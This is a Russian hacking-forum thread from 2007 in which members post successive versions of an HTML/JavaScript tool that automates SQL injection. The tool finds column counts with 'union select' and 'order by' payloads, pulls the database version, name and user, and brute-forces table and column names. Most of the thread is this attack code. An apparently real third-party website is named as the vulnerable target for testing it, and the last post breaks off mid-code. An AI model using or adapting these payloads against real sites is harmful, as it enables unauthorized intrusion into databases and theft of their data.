Javascript-автоматизация поиска колич. колонок

Discussion in 'PHP' started by -=lebed=-, 16 Aug 2007.

  1. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Вот написал для себя (за пару часов) небольшой скриптик автоматизации sql-inj для определения колличества колонок. Я конечно понимаю, что дорабатывать его можно очень много, поэтому прошу строго не судить, тем более на javascript я кодер никакой
    , а предлагать усовершенствования и показать недостатки т.п. Главное он пашет! :D

    Итак версия alpha 0.01
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <
    html xmlns="http://www.w3.org/1999/xhtml">
    <
    head>
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <
    title>Подборщик колличества столбцов</title>
    </
    head>

    <
    script>
    var 
    url="http://";
    var 
    tek_url=url;
    var 
    s="";
    var 
    n=0;
    function 
    poisk(f) {
            
    tek_url=document.search.url.value;
            
    document.search.colum.value="?";
            
    document.search.tek_url.value=document.search.url.value+"-1+union+select+";
            
    tek_url=document.search.url.value+"-1+union+select+";
          
          while (
    n<50)
          {
          
    n++;
          if (
    n==1) {s=s+n;}
          else {
    s=s+","+n;}
          
    tek_url=tek_url+s+"/*";
          
    document.search.tek_url.value=tek_url;
          
    document.search.colum.value=n;      
          
    changePage(tek_url);
          
    pause ();
          
          }
    }
    function 
    changePage(p) {
            
    document.getElementById"ifrm" ).src p;
         }




    </script>
    <form name=search method=post>
      <label>Ведите путь до уязвимого скрпта
      <input name="url" value="http://" size=160%>
      </label><br>
      <input onClick=poisk(search); type=button value="Подобрать число столбцов" name=calculateit>
      <input readonly size=5 name=colum><br>
      текущее значение<input name=tek_url size=180% readonly>
    </form>
    <body onload="changePage()">
        <iframe id="ifrm" src="" width="100%" height="500%"/>
      </body>

    </html>
    Затестить можно так:
    Вводим путь до уязвимого скрипта:
    Code:
    http://sololiteratura.com/php/autor.php?id=
    
    Жмякаем пимпу подобрать колличество столбцов, видим ошибку, жмякаем ещё, снова ошибка, ещё раз! Опс! Вот и наша скуля... :D число столбцов = 3.
     
    #1 -=lebed=-, 16 Aug 2007
    Last edited: 16 Aug 2007
    5 people like this.
  2. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Прошу разрешения автора использовать его код!
    Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...
     
  3. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Ты сначала посмотри что он делает, он ведь не определяет саму скулю, а только вставляет колонки! Подобрал или нет ты оцениваешь чисто визуально, сам!

    ЗЫ Используй на своё усмотрение код, я не против...
     
  4. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    спасиба великий кодер =) /*не скрипт реально удобный*/

    только если полей 50 или 30 то запаришься клацать :)
    я лично определяю по ордер бай.. так намного быстрее
     
    _________________________
  5. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    давай сразу в избранное
     
    1 person likes this.
  6. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Согласен, замечание стоящее. Надо имхо сделать и эти способом, так меньше придётся делать запросов, если использовать метод бинарного поиска... (пополам, потом ещё пополам и т.д.) ;)

    ЗЫ Вручную полтинник вставлять вообще замахаешься...
     
  7. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    сделал с бинарным поиском...
    полностю не тестил.. пару штук проверил вроде все ок..
    вообщем вводите адрес вместес параметром
    клацаете меньше пока не появится контент.. потом мона больше пока не появится ошибка.. вообщем там просто

    PHP:
     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
    <
    html xmlns="http://www.w3.org/1999/xhtml">
    <
    META name="author" content="halkfild">
    <
    META name="copyright" content="&copy; 2007 halkfild">  
     <
    style
      
    body 
      
    {  
       
    padding:10px;  
       
    background:#2A2E33;  
       
    font-family:tahomaverdanaarial;  
       
    font-size:14px;  
       
    text-align:center;  
       
    color:#B9B9BD;  
      

      
    form 
      
    {  
       
    padding:10px
       
    border:1px solid #666;  
       
    width:700px;  
       
    margin:0 auto;  
      }
      
    iframe
      
    {  
       
    padding:10px
       
    border:1px solid #666;  
       
    width:700px;
       
    height:500px;  
       
    margin:0 auto;  
      } 
      
    input 
      
    {  
       
    vertical-align:middle;  
       
    margin:1px 0;  
       
    padding-right:10px;  
       
    border:1px solid #336600;
       
    padding:2px;  
       
    background:#363940;  
       
    color:#B9B9BD;  
      
    }  
      </
    style>  
    <
    head
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <
    title>Подборщик количества столбцов &copyhalkfild</title
    </
    head

    <
    script
    var 
    url="http://sololiteratura.com/php/autor.php?id=1"//"http://"; 
    var tek_url=url
    var 
    k=0;

    var 
    LL//left limit
    var RL//right limit

     
    function poisk(f) {
      
    tek_url=document.search.url.value;
      
    LL=document.search.llc.value*1;
      
    RL=document.search.rlc.value*1;
      
    rgurldocument.search.rurl.value;
      
    tek_urltek_url "+order+by+";
      
      if (
    f==1) { //>
      
    LL=LL+Math.floor((RL-LL)/2);

      }
      else {      
    //<
        
    RL=LL+Math.floor((RL-LL)/2);    
      }
      
      
    k=Math.floor(LL+(RL-LL)/2);
      
    tek_urltek_url rgurl;
      
      
    document.search.llc.value=LL;
      
    document.search.rlc.value=RL;
      
    document.search.tek_url.value=tek_url;
      
    changePage(tek_url);

    function 
    changePage(p) { 
            
    document.getElementById"ifrm" ).src p
         } 



    </script> 
    <form name=search method=post> 
      <label>Ведите путь к уязвимому скрипту<br> 
      <input name="url" value="http://sololiteratura.com/php/autor.php?id=1" style='width:388px;'>
      <input name="rurl" value="/*&" style='width:200px;'>  
      </label><br> 
      <input onClick=poisk(1); type=button value="больше >" style='width:100px;'>
      <input onClick=poisk(2); type=button value="меньше <" style='width:100px;'>
      Границы поиска количества   
      <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
      адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/> 
    </form> 
    <body onload="changePage()"> <iframe id="ifrm" src="null"></body> 
    </html> 
    з.ы. завтра нормально потестю..

    *
    [+] добавлена возможность использования правой части URL вида http://site.com/script.php?parametr=1[inj]&bla=bla&bla1=bla&bla2=bla
     
    _________________________
    #7 halkfild, 17 Aug 2007
    Last edited: 17 Aug 2007
    1 person likes this.
  8. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Ждите теперь сборку 2in1, halkfild обещал всё это дело слить в один флакон...
     
    #8 -=lebed=-, 17 Aug 2007
    Last edited: 17 Aug 2007
  9. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    ну вот я и приехал.. :)
    вот cделал все одним файлом. можно выбирать каким методом будет производится подбор

    PHP:

      
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
    <
    html xmlns="http://www.w3.org/1999/xhtml">
    <
    META name="author" content="halkfild, -=lebed=-">
    <
    META name="copyright" content="&copy; 2007 halkfild">  
     <
    style
      
    body 
      
    {  
       
    padding:10px;  
       
    background:#2A2E33;  
       
    font-family:tahomaverdanaarial;  
       
    font-size:14px;  
       
    text-align:center;  
       
    color:#B9B9BD;  
      

      
    form 
      
    {  
       
    padding:10px
       
    border:1px solid #666;  
       
    width:700px;  
       
    margin:0 auto;  
      }
      
    iframe
      
    {  
       
    padding:10px
       
    border:1px solid #666;  
       
    width:700px;
       
    height:500px;  
       
    margin:0 auto;  
      } 
      
    input 
      
    {  
       
    vertical-align:middle;  
       
    margin:1px 0;  
       
    padding-right:10px;  
       
    border:1px solid #336600;
       
    padding:2px;  
       
    background:#363940;  
       
    color:#B9B9BD;  
      
    }
      
    div 
      
    {  
      
    display:none;  
      }    
      </
    style>  
    <
    head
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <
    title>Подборщик количества столбцов &copyhalkfild & -=lebed=-</title
    </
    head

    <
    script
    var 
    url="http://sololiteratura.com/php/autor.php?id=1"//"http://"; 
    var tek_url=url
    var 
    k=0;

    var 
    LL//left limit
    var RL//right limit

    var s=""
    var 
    n=0

     
    function 
    b_search(f) {
      
    tek_url=document.binSearch.url.value;
      
    LL=document.binSearch.llc.value*1;
      
    RL=document.binSearch.rlc.value*1;
      
    rgurldocument.binSearch.rurl.value;
      
    tek_urltek_url "+order+by+";
      
      if (
    f==1) { //>
      
    LL=LL+Math.floor((RL-LL)/2);

      }
      else {      
    //<
        
    RL=LL+Math.floor((RL-LL)/2);    
      }
      
      
    k=Math.floor(LL+(RL-LL)/2);
      
    tek_urltek_url rgurl;
      
      
    document.binSearch.llc.value=LL;
      
    document.binSearch.rlc.value=RL;
      
    document.binSearch.tek_url.value=tek_url;
      
    changePage(tek_url);
    }

    function 
    poisk(f) { 
            
    tek_url=document.bruteSearch.url.value
            
    document.bruteSearch.colum.value="?"
            
    document.bruteSearch.tek_url.value=document.bruteSearch.url.  value+"-1+union+select+"
            
    tek_url=document.bruteSearch.url.value+"-1+union+select+"
           
          while (
    n<50
          { 
          
    n++; 
          if (
    n==1) {s=s+n;} 
          else {
    s=s+","+n;} 
          
    tek_url=tek_url+s+"/*"
          
    document.bruteSearch.tek_url.value=tek_url
          
    document.bruteSearch.colum.value=n;       
          
    changePage(tek_url); 
          
    pause (); 
           
          } 

     
    function 
    changePage(p) { 
      
    document.getElementById"ifrm" ).src p
         } 

    function 
    dShow(type){
      if (
    type==1) {
        
    document.getElementById"brute" ).style.display='none'
        
    document.getElementById"binary" ).style.display='inline';
      }
      else {
        
    document.getElementById"binary" ).style.display='none';  
        
    document.getElementById"brute" ).style.display='inline';
      }
    }

    </script>
    <body onload="changePage()"> 
    <label><b>JavaScript-подборщик количества полей</b></label><br/>
      <input type="radio" checked=1 name="type" onClick=dShow(1);>Binary search &copy; <b>halkfild</b>
      <input type="radio" name="type" onClick=dShow(2);>Bruteforce &copy; <b>-=lebed=-</b><br/>
      
    <div id="binary" style='display:inline;'>
      <form name=binSearch method=post> 
        <label>Введите путь к уязвимому скрипту</label><br> 
        <input name="url" value="http://" style='width:388px;'>
        <input name="rurl" value="/*&" style='width:200px;'>  
        <br> 
        <input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
        <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
        Границы поиска количества   
        <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
        адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/> 
      </form> 
    </div>

    <div id="brute">
      <form name=bruteSearch method=post> 
        <label>Введите путь до уязвимого скрипта 
        <input name="url" value="http://" style='width:600px;'> 
        </label><br> 
        <input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit> 
        <input readonly size=5 name=colum><br> 
        адрессная строка(URL)<input name=tek_url readonly style='width:600px;'> 
      </form>
    </div>
       
    <iframe id="ifrm" src="null"></body> 
    </html> 


    cделаю наверное еще автоподстановку версии и тд. но это уже завтра

    з.ы. если есть какие-то предложения или конструктивная критика пишите
     
    _________________________
    #9 halkfild, 27 Aug 2007
    Last edited: 27 Aug 2007
    2 people like this.
  10. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    версия 0.2.1

    [~] исправлены недочеты в последовательном переборе
    [+] добавлена возможность выбора разделителя ('+','/**/', ' ') /*зы за идею отдельное спасибо +toxa+*/

    PHP:

     
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
    <
    html xmlns="http://www.w3.org/1999/xhtml">
    <
    META name="author" content="halkfild, -=lebed=-">
    <
    META name="copyright" content="&copy; 2007 halkfild">  
     <
    style
      
    body 
      
    {  
       
    padding:10px;  
       
    background:#2A2E33;  
       
    font-family:tahomaverdanaarial;  
       
    font-size:14px;  
       
    text-align:center;  
       
    color:#B9B9BD;  
      

      
    form 
      
    {  
       
    padding:10px
       
    border:1px solid #666;  
       
    width:700px;  
       
    margin:0 auto;  
      }
      
    iframe
      
    {  
       
    padding:10px
       
    border:1px solid #666;  
       
    width:700px;
       
    height:500px;  
       
    margin:0 auto;  
      } 
      
    input 
      
    {  
       
    vertical-align:middle;  
       
    margin:1px 0;  
       
    padding-right:10px;  
       
    border:1px solid #336600;
       
    padding:2px;  
       
    background:#363940;  
       
    color:#B9B9BD;  
      
    }
      
    div 
      
    {  
      
    display:none;  
      }    
      </
    style>  
    <
    head
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <
    title>Подборщик количества столбцов &copyhalkfild & -=lebed=-</title
    </
    head

    <
    script
    var 
    url="http://sololiteratura.com/php/autor.php?id=1"//"http://"; 
    var tek_url=url
    var 
    k=0;

    var 
    LL//left limit
    var RL//right limit

    var s=""
    var 
    n=0

     
    function 
    b_search(f) {
      
    tek_url=document.binSearch.url.value;
      
    LL=document.binSearch.llc.value*1;
      
    RL=document.binSearch.rlc.value*1;
      
    rgurldocument.binSearch.rurl.value;
      var 
    dlim document.binSearch.delimiter.value;
      
      
    //tek_url= tek_url + "+order+by+";
      
    tek_urltek_url dlim+"order"+dlim+"by"+dlim;
      
      if (
    f==1) { //>
      
    LL=LL+Math.floor((RL-LL)/2);

      }
      else {      
    //<
        
    RL=LL+Math.floor((RL-LL)/2);    
      }
      
      
    k=Math.floor(LL+(RL-LL)/2);
      
    tek_urltek_url rgurl;
      
      
    document.binSearch.llc.value=LL;
      
    document.binSearch.rlc.value=RL;
      
    document.binSearch.tek_url.value=tek_url;
      
    changePage(tek_url);
    }

    function 
    poisk(f) { 
            
    tek_url=document.bruteSearch.url.value
            
    document.bruteSearch.colum.value="?";
            
            var 
    dlim document.bruteSearch.delimiter.value;
             
            
    //document.bruteSearch.tek_url.value=document.bruteSearch.url.  value+"-1+union+select+"; 
            
    document.bruteSearch.tek_url.value=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
            
    tek_url=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
           
          while (
    n<50
          { 
          
    n++; 
          if (
    n==1) {s=s+n;} 
          else {
    s=s+","+n;} 
          
    tek_url=tek_url+s+"/*"
          
    document.bruteSearch.tek_url.value=tek_url
          
    document.bruteSearch.colum.value=n;       
          
    changePage(tek_url); 
          
    pause (); 
           
          } 

     
    function 
    changePage(p) { 
      
    document.getElementById"ifrm" ).src p
         } 

    function 
    dShow(type){
      if (
    type==1) {
        
    document.getElementById"brute" ).style.display='none'
        
    document.getElementById"binary" ).style.display='inline';
      }
      else {
        
    document.getElementById"binary" ).style.display='none';  
        
    document.getElementById"brute" ).style.display='inline';
      }
    }

    </script>
    <body onload="changePage()"> 
    <label><b>JavaScript-подборщик количества полей</b></label><br/>
      <input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search &copy; <b>halkfild</b>
      <input type="radio" name="type" onClick=dShow(2);> Bruteforce &copy; <b>-=lebed=-</b><br/>
      
    <div id="binary" style='display:inline;'>
      <form name=binSearch method=post> 
        <label>Введите путь к уязвимому скрипту</label><br> 
        <input name="url" value="http://" style='width:388px;'>
        <input name="rurl" value="/*&" style='width:200px;'>  
        <br> 
        <input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
        <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
        Границы поиска количества   
        <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
        адрессная строка(URL)<br/><input name=tek_url readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/> 
      </form> 
    </div>

    <div id="brute">
      <form name=bruteSearch method=post> 
        <label>Введите путь до уязвимого скрипта</label><br/> 
        <input name="url" value="http://" style='width:388px;'>
        <input name="rurl" value="/*&" style='width:200px;'>  
        <br>
        Разделитель <input name=delimiter style='width:45px;' value="+">
        <input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'> 
        Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/> 
        адрессная строка(URL)<input name=tek_url readonly style='width:600px;'> 
      </form>
    </div>
       
    <iframe id="ifrm" src="null"></body> 
    </html>


     
    _________________________
  11. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    новая версия..
    переписан почти весь код)
    добавлено много нового
    например перебор по таблицам, столбцам, подстановка версии и т.д.
    хотел сделать и автоопределение, но там траблы с ифреймами будет в следующей версии

    HTML:
    
     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
    <html xmlns="http://www.w3.org/1999/xhtml">
    <META name="author" content="halkfild">
    <META name="copyright" content="&copy; 2007 halkfild">  
    <STYLE type="text/css">
      body 
      {
       padding:10px;  
       background:#2A2E33;  
       font-family:tahoma, verdana, arial;  
       font-size:14px;  
       text-align:center;  
       color:#B9B9BD;
       scrollbar-3dlight-color:#2A2E33;
       scrollbar-arrow-color:#336600;
       scrollbar-base-color:#2A2E33;
       scrollbar-darkshadow-color:#336600;  
      } 
      form 
      {  
       padding:10px; 
       border:1px solid #666;  
       width:700px;  
       margin:0 auto;  
      }
      iframe
      {  
       padding:10px; 
       border:1px solid #666;  
       width:700px;
       height:500px;  
       margin:0 auto;  
      } 
      input, textarea
      {  
       vertical-align:middle;  
       margin:1px 0;  
       padding-right:10px;  
       border:1px solid #336600;
       padding:2px;  
       background:#363940;  
       color:#B9B9BD;  
      }
      div {display:none;}
    </STYLE>
    
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <title>Подборщик количества столбцов &copy; halkfild</title> 
    </head> 
    
    <script language="JavaScript">
    var st=0,stl=0,met=1,scUrl;
    var met=1;
    var cl=0,tl=0;  //tableslist, columnslist 
    var cc;         //curent columns
    function b_search(f) {
      var k;
      var tmpUrl=document.binSearch.url.value;
      var LL=document.binSearch.llc.value*1;      //left limit
      var RL=document.binSearch.rlc.value*1;      //right limit
      var rgurl= document.binSearch.rurl.value;
      var dlim = document.binSearch.delimiter.value;
      
      tmpUrl += dlim+"order"+dlim+"by"+dlim;
      
      if (f==1) { //>
        LL=LL+Math.floor((RL-LL)/2);
      }
      else {      //<
        RL=LL+Math.floor((RL-LL)/2);    
      }
      
      k=Math.floor(LL+(RL-LL)/2);
      tmpUrl += k + rgurl;
      
      document.binSearch.llc.value=LL;
      document.binSearch.rlc.value=RL;
      document.binSearch.cUrl.value=tmpUrl;
      changePage(tmpUrl);
    }
    function br_search(count) { 
      var lUrl = document.bruteSearch.url.value;
      var rUrl = document.bruteSearch.rurl.value;
      var dlim = document.bruteSearch.delimiter.value;
      var count= document.bruteSearch.colum.value*1+1;
      var tmpUrl,n=0;
      var res = lUrl.match(/(http.+=)([a-zA-Z0-9]+)/i);
      tmpUrl = res[1]+"-"+res[2]+dlim+"union"+dlim+"select"+dlim;
             
      while (n<count){ 
          n++;
          tmpUrl += n+""+n+""+n+""+n+""+n+",";
      }
      tmpUrl = tmpUrl.slice(0,-1) + rUrl 
      document.bruteSearch.cUrl.value = tmpUrl;     
      document.bruteSearch.colum.value = n;
      changePage(tmpUrl); 
    } 
    function changePage(p) { document.getElementById( "ifrm" ).src = p;} 
    function dShow(type){
      if (type==1) {
        document.getElementById("brute").style.display='none'; 
        document.getElementById("binary").style.display='inline';
        met=1;
      }
      else if (type==2) {
        document.getElementById("binary").style.display='none';  
        document.getElementById("brute").style.display='inline';
        met=2;
      }
      else if (type==3) {
    	   if (st==0) {
    		   document.getElementById("substitution").style.display='none';
    		   st=1;
    	   }
         else  {
    	 	   document.getElementById("substitution").style.display='inline';
    	 	   st=0;
    	 	   var dlim = document.binSearch.delimiter.value;
        	 if (met==1) {
        	     var str = document.binSearch.cUrl.value;
     	         var re = str.match(/(http.+\d+).+order.+by[^0-9](\d+)(.+)/i);
    	 	       var res = str.match(/(http.+=)([a-zA-Z0-9]+)/i);
    	 	       scUrl = getSelect(res[1]+"-"+res[2], re[3], re[2]);
    	 	       document.subst.sUrl.value = scUrl;	 	       
    	 	   }
    	 	   else {
    	 	       var str = document.bruteSearch.cUrl.value;
    	 	       var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+),[a-zA-Z0-9]+(.+)/i);
    	 	       scUrl = res[1]+res[2];
    	 	       document.subst.sUrl.value = scUrl;
               
           }
           changePage(document.subst.sUrl.value);
    	 	 }
       }
       else if (type==4) {
        if (stl==0) {
    		   document.getElementById("list").style.display='none';
    		   stl=1;
    	   }
         else  {
    	 	   document.getElementById("list").style.display='inline';
    	 	   stl=0;
         }
       }
    }
    function getSelect (left, right, count) {
      var dlim = document.binSearch.delimiter.value;
    	var tmp=left+dlim+"union"+dlim+"select"+dlim;
    	for (var i=0; i<count; i++)	{
    		tmp = tmp + (i+1)+(i+1)+(i+1)+(i+1)+(i+1)+ ",";  //много 11 для поиска
    	}
    	tmp = tmp.slice(0,-1) + right;
    return tmp;
    }
    function getSubstr (id) {
      var elem = document.getElementById(id).value;
      var rs = elem.split(/\n/);
    return rs;
    }
    function tuck (type) {
      var dlim = document.binSearch.delimiter.value;
      if (type==1) {
        var el = getSubstr("columns");
        if (cl<el.length) {
          setUrl(el[cl]);
          cl++;
        }
        else {
          alert("Перебор по списку столбцов окончен");
          cl=0;
        }
      }
      else {
        var el = getSubstr("tables");
        if (tl<el.length) {
          var str = scUrl
          var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+,[a-zA-Z0-9]+)(.+)/i);
          document.subst.sUrl.value=res[1]+dlim+"from"+dlim+el[tl]+dlim+res[2];
          changePage(document.subst.sUrl.value);
          tl++;
        }
        else {
          alert("Перебор по списку таблиц окончен");
          tl=0
        } 
      }
    }
    function searchword(){
      var r,i,s=document.selection.createRange().text;
      
      if(!s)s=prompt('Найти:','');
      if(s){
          r=document.body.createTextRange();
          for(i=0;r.findText(s);i++){
            r.execCommand('BackColor','','lightyellow');
            r.collapse(false)
          }
          alert('Найдено: '+i+' слово(а)')
        }
    }
    function setUrl(param) {
      var num = document.subst.colNum.value;
      var str = scUrl;
      
      var pnum= num+""+num+""+num+""+num+""+num;
      var pattern = RegExp("(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)","i");
      var qqq = str.match(pattern);
      var result = qqq[1]+param+qqq[2];
      document.subst.sUrl.value = result;
      changePage(result);
    }
    </script>
    
    <body onload="changePage()"> 
    <label><b>JavaScript-подборщик количества полей</b></label><br/>
      <input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search &copy; <b>halkfild</b>
      <input type="radio" name="type" onClick=dShow(2);> Bruteforce &copy; <b>-=lebed=-</b><br/>
      
    <div id="binary" style='display:inline;'>
      <form name=binSearch method=post> 
        <label>Введите путь к уязвимому скрипту</label><br/> 
        <input name="url" value="http://" style='width:388px;'>
        <input name="rurl" value="/*&" style='width:200px;'>  
        <br> 
        <input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
        <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
        Границы поиска количества   
        <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
        адрессная строка(URL)<br/><input name=cUrl readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/> 
      </form> 
    </div>
    
    <div id="brute">
      <form name=bruteSearch method=post> 
        <label>Введите путь до уязвимого скрипта</label><br/> 
        <input name="url" value="http://" style='width:388px;'>
        <input name="rurl" value="/*&" style='width:200px;'>  
        <br>
        Разделитель <input name=delimiter style='width:45px;' value="+">
        <input onClick=br_search(); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'> 
        Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/> 
        адрессная строка(URL)<input name=cUrl readonly style='width:600px;'> 
      </form>
    </div>
    
    
    <form name=subst>
      <p id=resize onclick="dShow(3)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подстановка значений</p>
      <div id="substitution">
        <input name=sUrl style='width:500px;'><input type=button onClick=changePage(document.subst.sUrl.value) value="Обновить" style='width:100px;'>
    
        <p id=resize onclick="dShow(4)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подбор таблиц и столбцов</p>
        <div id="list">
          Столбец <input name="colNum" value="1" style='width:40px;'>
          Системная информация <input value="на стадии разработки" style='width:200px;'>
          <input type=button onClick="setUrl('concat_ws(0x3a,version,database,user)');" value="информация" style='width:120px;'>
          <textarea id="columns" cols=35 rows=7>Скопируйте сюда список полей</textarea>
          <textarea id="tables" cols=35 rows=7>Скопируйте сюда список таблиц</textarea>
          <input type=button onClick="tuck(1)" value="Подобрать" style='width:297px;'>
          <input type=button onClick="tuck(2)" value="Подобрать" style='width:297px;'>      
        </div>
        
      </div>
    </form>
       
    <iframe id="ifrm" src="null"></body> 
    </html>
    
    
    
    нормально не тестил просто уезжаю..

    в сведущей версии будет, наверное )) :D :
    - отлов старых багов))
    может автоопределение выводимого столбца, если с ифреймами все решится.. :mad:
    - вывод имен таблиц и столбцов если версия больше 5

    ну и еще что-то придумаем :D

    з.ы. вставлять надо адрес с последним уязвимым параметром БЕЗ минуса

    http://127.0.0.1/lab/injector.php?id=2 + правая часть
     
    _________________________
    6 people like this.
  12. mindw0rk

    mindw0rk Elder - Старейшина

    Joined:
    8 Jun 2007
    Messages:
    63
    Likes Received:
    50
    Reputations:
    1
    Спасибо, дико полезная вещь.
     
  13. ant0ha

    ant0ha Elder - Старейшина

    Joined:
    22 May 2007
    Messages:
    130
    Likes Received:
    50
    Reputations:
    13
    Реализация конечно классная, но всетаки ручками такие вещи делать интереснее
     
  14. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,193
    Reputations:
    430
    Чем?
     
  15. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    лично я не понимаю зачем переписывать еще раз то что уже написано - вот у электа класная тулза -- и им подобным уже докуя - хз зачем?
    неужели не жалко своего времени и сил?
     
  16. ant0ha

    ant0ha Elder - Старейшина

    Joined:
    22 May 2007
    Messages:
    130
    Likes Received:
    50
    Reputations:
    13
    А какой интерес тогда вобще чтото ломать, когда все за тебя будет делать программа.
     
    1 person likes this.
  17. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Модернизировал подборщик столбцов (только свою часть скрипта!)
    Добавлено:
    - возможность ввода начального (предполагаемого) количества столбцов.
    - инкремент, декремент на 1.
    - возможность указания разделителя и начального параметра:
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
    <
    html xmlns="http://www.w3.org/1999/xhtml"
    <
    style>  
      
    body  
      
    {   
       
    padding:10px;   
       
    background:#2A2E33;   
       
    font-family:tahomaverdanaarial;   
       
    font-size:14px;   
       
    text-align:center;   
       
    color:#B9B9BD;   
      
    }  
      
    form  
      
    {   
       
    padding:10px;  
       
    border:1px solid #666;   
       
    width:700px;   
       
    margin:0 auto;   
      } 
      
    iframe 
      
    {   
       
    padding:10px;  
       
    border:1px solid #666;   
       
    width:700px
       
    height:500px;   
       
    margin:0 auto;   
      }  
      
    input  
      
    {   
       
    vertical-align:middle;   
       
    margin:1px 0;   
       
    padding-right:10px;   
       
    border:1px solid #336600; 
       
    padding:2px;   
       
    background:#363940;   
       
    color:#B9B9BD;   
      

      
    div  
      
    {   
      
    display:none;   
      }     
      </
    style>  
    <
    head
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <
    title>JavaScript SQL-injector by -=lebed=-</title
    </
    head

    <
    script
    var 
    sp = new Array(); /*сепаратор.*/
    sp[0]="+";
    sp[1]="/**/";
    sp[2]=" ";

    var 
    url="http://"/*целевой URL*/
    var tek_url=url/*текуший URI*/
    var s=""/*накопитель*/
    var n=0

    function 
    get_url(f) {
          
    url=document.search.url.value;
          
    n=1;    
          
    s="1";
          
    b=document.search.separator.value;
          
    p=document.search.parametr.value;        
    while (
    n<document.search.colum.value)
          {
          
    n++;
          if (
    n==1) {s=n;} 
          else {
    s=s+","+n;}
           
          } 
          
    tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+"/*";
          
    document.search.tek_url.value=tek_url
          
    document.search.colum.value=n;     
          
    changePage(tek_url); 
          
    pause (); 
    }

    function 
    inc(f) {
        
    document.search.colum.value++
        
    get_url(f)
    }
         
    function 
    dec(f) {
         
    document.search.colum.value--
